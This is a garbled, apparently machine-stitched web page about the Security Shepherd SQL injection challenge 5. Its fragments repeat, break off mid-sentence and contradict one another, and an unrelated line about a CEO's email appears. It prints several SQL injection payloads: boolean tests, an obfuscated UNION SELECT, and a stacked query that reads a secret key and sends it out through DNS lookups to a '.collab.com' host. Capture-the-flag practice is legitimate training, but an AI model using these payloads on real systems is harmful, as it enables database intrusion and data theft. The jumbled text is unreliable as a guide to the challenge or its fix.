Sql+injection+challenge+5+security+shepherd+new [better] Jun 2026

Resulting SQL: SELECT note FROM notes WHERE user_id = 2 AND note LIKE '%%' OR user_id=1 -- %'

The application does not escape double quotes, so this payload is inserted directly into the query, resulting in:

In a typical environment, the SQLi C5 VIPCouponCheck servlet processes user input via an HTTP POST request. The core objective of this challenge is to bypass the application's underlying logical filters to retrieve or validate a protected , which can then be used to generate the final Capture the Flag (CTF) solution key. The Flaw: Dynamic Query Concatenation sql+injection+challenge+5+security+shepherd+new

The first character of the CEO’s email was 'c'.

' OR 1=1; DECLARE @k nvarchar(4000); SET @k = (SELECT TOP 1 secret_key FROM secret_table); EXEC xp_dnsresolve @k + '.collab.com' -- Resulting SQL: SELECT note FROM notes WHERE user_id

Submit a completely random string (e.g., TESTCODE ) to see the system's baseline error handling. The app will return a statement indicating no matching coupon was found. Step 2: Testing for Basic SQL Synthesis

We need a column that returns string data (not integer). Payload: 1'/**/UnIoN/**/SeLeCt/**/'Hack',NULL/**/aNd/**/1=2-- - ' OR 1=1; DECLARE @k nvarchar(4000); SET @k

: Once you have the code, enter it into the level's submission field to receive your completion key and advance to the next challenge. Mitigation Strategies

SELECT * FROM customers WHERE customerId = "\\' OR 1=1; -- "

1 and 1=1 -> Returns "User Found" (True). 1 and 1=2 -> Returns "No user exists" (False).